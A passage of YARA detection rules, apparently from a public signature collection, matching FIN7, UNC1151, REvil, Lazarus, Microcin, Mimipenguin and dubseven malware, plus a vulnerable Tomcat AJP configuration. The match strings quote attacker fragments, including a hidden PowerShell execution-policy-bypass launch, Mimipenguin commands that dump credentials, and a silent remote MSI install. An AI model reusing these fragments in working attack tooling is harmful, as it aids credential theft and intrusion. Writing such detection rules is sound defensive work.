		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
		$x3 = "J:\\chong\\" ascii
		$s1 = "User-Agent: Netscape" fullword ascii
		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
		$s5 = "MM.exe" fullword ascii
		$s6 = "network.proxy.ssl" fullword wide
		$s7 = "PeekNamePipe" fullword ascii
		$s8 = "Host: %ws:%d" fullword ascii
		$s9 = "GET %dHTTP/1.1" fullword ascii
		$s10 = "SCHANNEL.DLL" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of ( $x* ) ) or 4 of ( $s* )
}

rule APT_UNC1151_WindowsInstaller_Silent_InstallProduct_MacroMethod
{
	meta:
		author = "Proofpoint Threat Research"
		date = "2021-07-28"
		hash1 = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3"
		hash2 = "a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
		reference = "Thttps://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
		id = "9ae80d54-33b9-55d7-957f-0738243e089f"

	strings:
		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
		$s1 = ".UILevel = 2"
		$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
		$s3 = ".InstallProduct \"http"

	condition:
		$doc_header at 0 and all of ( $s* )
}

rule SUSP_VEST_Encryption_Core_Accumulator_Jan21
{
	meta:
		description = "Detects VEST encryption core accumulator in PE file as used by Lazarus malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ochsenmeier/status/1354737155495649280"
		date = "2021-01-28"
		score = 70
		hash1 = "7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23"
		id = "8343652b-8865-5213-b735-d6d4084e4a84"

	strings:
		$sc1 = { 4F 70 46 DA E1 8D F6 41 59 E8 5D 26 1E CC 2F 89
               26 6D 52 BA BC 11 6B A9 C6 47 E4 9C 1E B6 65 A2
               B6 CD 90 47 1C DF F8 10 4B D2 7C C4 72 25 C6 97
               25 5D C6 1D 4B 36 BC 38 36 33 F8 89 B4 4C 65 A7
               96 CA 1B 63 C3 4B 6A 63 DC 85 4C 57 EE 2A 05 C7
               0C E7 39 35 8A C1 BF 13 D9 52 51 3D 2E 41 F5 72
               85 23 FE A1 AA 53 61 3B 25 5F 62 B4 36 EE 2A 51
               AF 18 8E 9A C6 CF C4 07 4A 9B 25 9B 76 62 0E 3E
               96 3A A7 64 23 6B B6 19 BC 2D 40 D7 36 3E E2 85
               9A D1 22 9F BC 30 15 9F C2 5D F1 23 E6 3A 73 C0 }

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule MAL_RANSOM_REvil_Oct20_1
{
	meta:
		description = "Detects REvil ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2020-10-13"
		hash1 = "5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4"
		hash2 = "f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5"
		hash3 = "f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d"
		hash4 = "fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501"
		id = "0c85a2cc-3487-577f-bd12-e3effd8fc811"

	strings:
		$op1 = { 0f 8c 74 ff ff ff 33 c0 5f 5e 5b 8b e5 5d c3 8b }
		$op2 = { 8d 85 68 ff ff ff 50 e8 2a fe ff ff 8d 85 68 ff }
		$op3 = { 89 4d f4 8b 4e 0c 33 4e 34 33 4e 5c 33 8e 84 }
		$op4 = { 8d 85 68 ff ff ff 50 e8 05 06 00 00 8d 85 68 ff }
		$op5 = { 8d 85 68 ff ff ff 56 57 ff 75 0c 50 e8 2f }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them or 4 of them
}

import "pe"

rule Microcin_Sample_1
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "49816eefcd341d7a9c1715e1f89143862d4775ba4f9730397a1e8529f5f5e200"
		hash2 = "a73f8f76a30ad5ab03dd503cc63de3a150e6ab75440c1060d75addceb4270f46"
		hash3 = "9dd9bb13c2698159eb78a0ecb4e8692fd96ca4ecb50eef194fa7479cb65efb7c"
		id = "96e9ac3b-a837-5909-b17b-259d54e0e7fd"

	strings:
		$s1 = "e Class Descriptor at (" ascii
		$s2 = ".?AVCAntiAntiAppleFrameRealClass@@" fullword ascii
		$s3 = ".?AVCAntiAntiAppleFrameBaseClass@@" fullword ascii
		$s4 = ".?AVCAppleBinRealClass@@" fullword ascii
		$s5 = ".?AVCAppleBinBaseClass@@" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 4 of them or pe.imphash ( ) == "897077ca318eaf629cfe74569f10e023" ) )
}

rule Microcin_Sample_2
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "8a7d04229722539f2480270851184d75b26c375a77b468d8cbad6dbdb0c99271"
		id = "8718ef84-be2b-55a6-a4bb-41161548a2b4"

	strings:
		$s2 = "[Pause]" fullword ascii
		$s7 = "IconCache_%02d%02d%02d%02d%02d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule Microcin_Sample_3
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "4f74a3b67c5ed6f38f08786f1601214412249fe128f12c51525135710d681e1d"
		id = "daecdfe3-e78c-55ee-83a3-3cee8cb9bb5f"

	strings:
		$x1 = "C:\\Users\\Lenovo\\Desktop\\test\\Release\\test.pdb" fullword ascii
		$s2 = "test, Version 1.0" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule Microcin_Sample_4
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "92c01d5af922bdaacb6b0b2dfbe29e5cc58c45cbee5133932a499561dab616b8"
		id = "8a6a0735-422a-5e91-9274-ce55f7bee5d3"

	strings:
		$s1 = "cmd /c dir /a /s \"%s\" > \"%s\"" fullword wide
		$s2 = "ini.dat" fullword wide
		$s3 = "winupdata" fullword wide
		$f1 = "%s\\(%08x%08x)%s" fullword wide
		$f2 = "%s\\d%08x\\d%08x.db" fullword wide
		$f3 = "%s\\u%08x\\u%08x.db" fullword wide
		$f4 = "%s\\h%08x\\h%08x.db" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of ( $s* ) or 5 of them )
}

rule Microcin_Sample_5
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "b9c51397e79d5a5fd37647bc4e4ee63018ac3ab9d050b02190403eb717b1366e"
		id = "cd06f9f7-0ba3-52c9-a814-be1cd53e2e42"

	strings:
		$x1 = "Sorry, you are not fortuante ^_^, Please try other password dictionary " fullword ascii
		$x2 = "DomCrack <IP> <UserName> <Password_Dic file path> <option>" fullword ascii
		$x3 = "The password is \"%s\"         Time: %d(s)" fullword ascii
		$x4 = "The password is \" %s \"         Time: %d(s)" fullword ascii
		$x5 = "No password found!" fullword ascii
		$x7 = "Can not found the Password Dictoonary file! " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them ) or 2 of them
}

rule Microcin_Sample_6
{
	meta:
		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
		date = "2017-09-26"
		hash1 = "cbd43e70dc55e94140099722d7b91b07a3997722d4a539ecc4015f37ea14a26e"
		hash2 = "871ab24fd6ae15783dd9df5010d794b6121c4316b11f30a55f23ba37eef4b87a"
		id = "9988723f-a7ca-598f-9a6c-9f3915732117"

	strings:
		$s1 = "** ERROR ** %s: %s" fullword ascii
		$s2 = "TEMPDATA" fullword wide
		$s3 = "Bruntime error " fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them )
}

rule APT_FIN7_Strings_Aug18_1
{
	meta:
		description = "Detects strings from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "b6354e46af0d69b6998dbed2fceae60a3b207584e08179748e65511d45849b00"
		id = "9b940986-e41b-5fbf-9e42-cb0fd550e541"

	strings:
		$s1 = "&&call %a01%%a02% /e:jscript" ascii
		$s2 = "wscript.exe //b /e:jscript %TEMP%" ascii
		$s3 = " w=wsc@ript /b " ascii
		$s4 = "@echo %w:@=%|cmd" ascii
		$s5 = " & wscript //b /e:jscript"

	condition:
		1 of them
}

rule APT_FIN7_Sample_Aug18_2
{
	meta:
		description = "Detects FIN7 malware sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "1513c7630c981e4b1d0d5a55809166721df4f87bb0fac2d2b8ff6afae187f01d"
		id = "885eebfe-2587-5744-ba0c-c74ced946050"

	strings:
		$x1 = "Description: C:\\Users\\oleg\\Desktop\\" wide
		$x2 = "/*|*| *  Copyright 2016 Microsoft, Industries.|*| *  All rights reserved.|*|" ascii
		$x3 = "32, 40, 102, 105, 108, 101, 95, 112, 97, 116, 104, 41, 41, 32" ascii
		$x4 = "83, 108, 101, 101, 112, 40, 51, 48, 48, 48, 41, 59, 102, 115" ascii
		$x5 = "80, 80, 68, 65, 84, 65, 37, 34, 41, 44, 115, 104, 101, 108, 108" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 2000KB and 1 of them
}

rule APT_FIN7_MalDoc_Aug18_1
{
	meta:
		description = "Detects malicious Doc from FIN7 campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "9c12591c850a2d5355be0ed9b3891ccb3f42e37eaf979ae545f2f008b5d124d6"
		id = "f3c430e0-be9a-5c3f-9378-a20ef0492afb"

	strings:
		$s1 = "<photoshop:LayerText>If this document was downloaded from your email, please click  \"Enable editing\" from the yellow bar above" ascii

	condition:
		filesize < 800KB and 1 of them
}

rule APT_FIN7_Sample_Aug18_1
{
	meta:
		description = "Detects FIN7 samples mentioned in FireEye report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "a1e95ac1bb684186e9fb5c67f75c7c26ddc8b18ebfdaf061742ddf1675e17d55"
		hash2 = "dc645aae5d283fa175cf463a19615ed4d16b1d5238686245574d8a6a8b0fc8fa"
		hash3 = "eebbce171dab636c5ac0bf0fd14da0e216758b19c0ce2e5c572d7e6642d36d3d"
		id = "0fdd98e8-7536-5159-8085-da7388e5fff2"

	strings:
		$s1 = "\\par var console=\\{\\};console.log=function()\\{\\};" ascii
		$s2 = "616e64792d7063" ascii
		$x1 = "0043003a005c00550073006500720073005c0061006e00640079005c004400650073006b0074006f0070005c0075006e00700072006f0074006500630074" ascii
		$x2 = "780065006300750074006500280022004f006e0020004500720072006f007200200052006500730075006d00650020004e006500780074003a0073006500" ascii
		$x3 = "\\par \\tab \\tab \\tab sh.Run \"powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -w Hidden -File \" & pToPSCb, 0, False" fullword ascii
		$x4 = "002e006c006e006b002d00000043003a005c00550073006500720073005c007400650073007400610064006d0069006e002e0054004500530054005c0044" ascii
		$x5 = "005c00550073006500720073005c005400450053005400410044007e0031002e005400450053005c0041007000700044006100740061005c004c006f0063" ascii
		$x6 = "6c00690063006100740069006f006e002200220029003a00650078006500630075007400650020007700700072006f0074006500630074002e0041006300" ascii
		$x7 = "7374656d33325c6d736874612e657865000023002e002e005c002e002e005c002e002e005c00570069006e0064006f00770073005c005300790073007400" ascii
		$x8 = "\\par \\tab \\tab sh.Run \"%comspec% /c tasklist >\"\"\" & tpath & \"\"\" 2>&1\", 0, true" fullword ascii
		$x9 = "00720079007b006500760061006c0028002700770061006c006c003d004700650074004f0062006a0065006300740028005c005c0027005c005c00270027" ascii
		$x10 = "006e00640079005c004400650073006b0074006f0070005c0075006e006c006f0063006b002e0064006f0063002e006c006e006b" ascii

	condition:
		uint16( 0 ) == 0x5c7b and filesize < 3000KB and ( 1 of ( $x* ) or 2 of them )
}

rule APT_FIN7_EXE_Sample_Aug18_1
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "7f16cbe7aa1fbc5b8a95f9d123f45b7e3da144cb88db6e1da3eca38cf88660cb"
		id = "46c82d27-5683-5acd-9a3c-d69613091ecc"

	strings:
		$s1 = "Manche Enterprises Limited0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of them
}

rule APT_FIN7_EXE_Sample_Aug18_2
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "60cd98fc4cb2ae474e9eab81cd34fd3c3f638ad77e4f5d5c82ca46f3471c3020"
		id = "4522cd85-ba85-5afd-8600-1ebabfaf6d02"

	strings:
		$s1 = "constructor or from DllMain." fullword ascii
		$s2 = "Network Software Ltd0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule APT_FIN7_EXE_Sample_Aug18_3
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "995b90281774798a376db67f906a126257d314efc21b03768941f2f819cf61a6"
		id = "0b0ce882-1c18-5741-bb71-0cef010dc778"

	strings:
		$s1 = "cvzdfhtjkdhbfszngjdng" fullword ascii
		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and 1 of them
}

rule APT_FIN7_EXE_Sample_Aug18_4
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "4b5405fc253ed3a89c770096a13d90648eac10a7fb12980e587f73483a07aa4c"
		id = "bead79bb-28c2-59ed-985b-e44b41e7f66a"

	strings:
		$s1 = "c:\\file.dat" fullword wide
		$s2 = "constructor or from DllMain." fullword ascii
		$s3 = "lineGetCallIDs" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them
}

rule APT_FIN7_EXE_Sample_Aug18_5
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
		id = "6c810662-9ceb-5c3b-8f83-5a4aa2a5d461"

	strings:
		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
		$s3 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

import "pe"

rule APT_FIN7_EXE_Sample_Aug18_6
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "1439d301d931c8c4b00717b9057b23f0eb50049916a48773b17397135194424a"
		id = "2b2e6b74-5d71-5656-8faf-37c94607d93e"

	strings:
		$s1 = "coreServiceShell.exe" fullword ascii
		$s2 = "PtSessionAgent.exe" fullword ascii
		$s3 = "TiniMetI.exe" fullword ascii
		$s4 = "PwmSvc.exe" fullword ascii
		$s5 = "uiSeAgnt.exe" fullword ascii
		$s7 = "LHOST:" fullword ascii
		$s8 = "TRANSPORT:" fullword ascii
		$s9 = "LPORT:" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and ( pe.exports ( "TiniStart" ) or 4 of them )
}

rule APT_FIN7_EXE_Sample_Aug18_7
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "ce8ce35f85406cd7241c6cc402431445fa1b5a55c548cca2ea30eeb4a423b6f0"
		id = "96943654-a6e8-59c0-ab6c-1ab3906a5d05"

	strings:
		$s1 = "libpng version" fullword ascii
		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule APT_FIN7_EXE_Sample_Aug18_8
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "d8bda53d7f2f1e4e442a0e1c30a20d6b0ac9c6880947f5dd36f78e4378b20c5c"
		id = "1eb9810e-2b50-5a93-925e-073bb17e1e6c"

	strings:
		$s1 = "GetL3st3rr" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule APT_FIN7_EXE_Sample_Aug18_10
{
	meta:
		description = "Detects sample from FIN7 report in August 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "8cc02b721683f8b880c8d086ed055006dcf6155a6cd19435f74dd9296b74f5fc"
		id = "2c6f557e-31d3-5377-a3fa-4f1507f28386"

	strings:
		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
               00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43
               00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
               00 20 00 31 00 20 00 2D 00 20 00 31 00 39 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them
}

rule APT_FIN7_Sample_EXE_Aug18_1
{
	meta:
		description = "Detects FIN7 Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
		date = "2018-08-01"
		hash1 = "608003c2165b0954f396d835882479f2504648892d0393f567e4a4aa90659bf9"
		hash2 = "deb62514704852ccd9171d40877c59031f268db917c23d00a2f0113dab79aa3b"
		hash3 = "16de81428a034c7b2636c4a875809ab62c9eefcd326b50c3e629df3b141cc32b"
		hash4 = "3937abdd1fd63587022ed540a31c58c87c2080cdec51dd24af3201a6310059d4"
		hash5 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
		id = "7c66a234-9dee-5279-b855-892b12d036ff"

	strings:
		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
		$s2 = "dx=%d, dy=%d" fullword ascii
		$s3 = "Error with JP2H box size" fullword ascii
		$co1 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 2E 63 6F 64 65
               00 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of ( $s* ) and $co1 at 0x015D
}

rule APT_FIN7_MsDoc_Sep21_1
{
	meta:
		description = "Detects MalDocs used by FIN7 group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
		date = "2021-09-07"
		score = 85
		hash1 = "d60b6a8310373c9b84e6760c24185535"
		id = "4fbde087-ec1e-5614-af1e-f342b1766fa2"

	strings:
		$xc1 = { 00 4A 00 6F 00 68 00 6E 00 0B 00 57 00 31 00 30
               00 50 00 72 00 6F 00 4F 00 66 00 66 00 31 00 36 }
		$s1 = "word_data.bin" ascii fullword
		$s2 = "V:\\DOC\\For_JS" ascii
		$s3 = "HomeCompany" ascii
		$s4 = "W10ProOff16" ascii

	condition:
		uint16( 0 ) == 0xcfd0 and ( 1 of ( $x* ) or 3 of them )
}

rule SUSP_OBFUSC_JS_Sept21_2
{
	meta:
		description = "Detects JavaScript obfuscation as used in MalDocs by FIN7 group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
		date = "2021-09-07"
		score = 65
		id = "5ab9cd60-077c-5066-bd2f-8da261aae1e0"

	strings:
		$s1 = "=new RegExp(String.fromCharCode(" ascii
		$s2 = ".charCodeAt(" ascii
		$s3 = ".substr(0, " ascii
		$s4 = "var shell = new ActiveXObject(" ascii
		$s5 = "= new Date().getUTCMilliseconds();" ascii
		$s6 = ".deleteFile(WScript.ScriptFullName);" ascii

	condition:
		filesize < 6000KB and ( 4 of them )
}

rule VUL_Tomcat_Catalina_CVE_2020_1938
{
	meta:
		description = "Detects a possibly active and vulnerable Tomcat configuration that includes an accessible and unprotected AJP connector (you can ignore backup files or files that are not actively used)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.chaitin.cn/en/ghostcat"
		date = "2020-02-28"
		score = 50
		id = "d23af7ce-eb5d-50aa-be02-b4bf858641c2"

	strings:
		$h1 = "<?xml "
		$a1 = "<Service name=\"Catalina\">" ascii
		$v1 = "<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"/>" ascii
		$fp1 = "<!--<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"" ascii
		$fp2 = " secret=\"" ascii
		$fp3 = " requiredSecret=\"" ascii

	condition:
		$h1 at 0 and filesize <= 300KB and $a1 and $v1 and not 1 of ( $fp* )
}

rule Mimipenguin_SH
{
	meta:
		description = "Detects Mimipenguin Password Extractor - Linux"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/huntergregal/mimipenguin"
		date = "2017-04-01"
		id = "c670f6fe-562d-598f-a73f-45e4ab234f7d"

	strings:
		$s1 = "$(echo $thishash | cut -d'$' -f 3)" ascii
		$s2 = "ps -eo pid,command | sed -rn '/gnome\\-keyring\\-daemon/p' | awk" ascii
		$s3 = "MimiPenguin Results:" ascii

	condition:
		1 of them
}

rule mimipenguin_1
{
	meta:
		description = "Detects Mimipenguin hack tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/huntergregal/mimipenguin"
		date = "2017-07-08"
		hash1 = "9e8d13fe27c93c7571075abf84a839fd1d31d8f2e3e48b3f4c6c13f7afcf8cbd"
		id = "62754337-52ef-5d3f-af2f-52f820ba0476"

	strings:
		$x1 = "self._strings_dump += strings(dump_process(target_pid))" fullword ascii
		$x2 = "def _dump_target_processes(self):" fullword ascii
		$x3 = "self._target_processes = ['sshd:']" fullword ascii
		$x4 = "GnomeKeyringPasswordFinder()" ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 20KB and 1 of them )
}

rule mimipenguin_2
{
	meta:
		description = "Detects Mimipenguin hack tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/huntergregal/mimipenguin"
		date = "2017-07-08"
		hash1 = "453bffa90d99a820e4235de95ec3f7cc750539e4023f98ffc8858f9b3c15d89a"
		id = "b3bb1ba9-cbfc-53fd-81d0-256466ace4de"

	strings:
		$x1 = "DUMP=$(strings \"/tmp/dump.${pid}\" | grep -E" fullword ascii
		$x2 = "strings /tmp/apache* | grep -E '^Authorization: Basic.+=$'" fullword ascii
		$x3 = "grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A" fullword ascii
		$x4 = "strings \"/tmp/dump.${pid}\" | grep -E -m 1 '^\\$.\\$.+\\$')\"" fullword ascii
		$x5 = "if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 20KB and 1 of them )
}

rule dubseven_file_set
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for service files loading UP007"
		id = "5b0a9cb9-aeef-5508-8854-51ad846b22c5"

	strings:
		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
		$file7 = "\\Microsoft\\Internet Explorer\\mon"
		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 3 of ( $file* )
}

rule dubseven_dropper_registry_checks
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for registry keys checked for by the dropper"
		id = "8369cdbb-53b8-5dc5-9181-fd49747042a7"

	strings:
		$reg1 = "SOFTWARE\\360Safe\\Liveup"
		$reg2 = "Software\\360safe"
		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
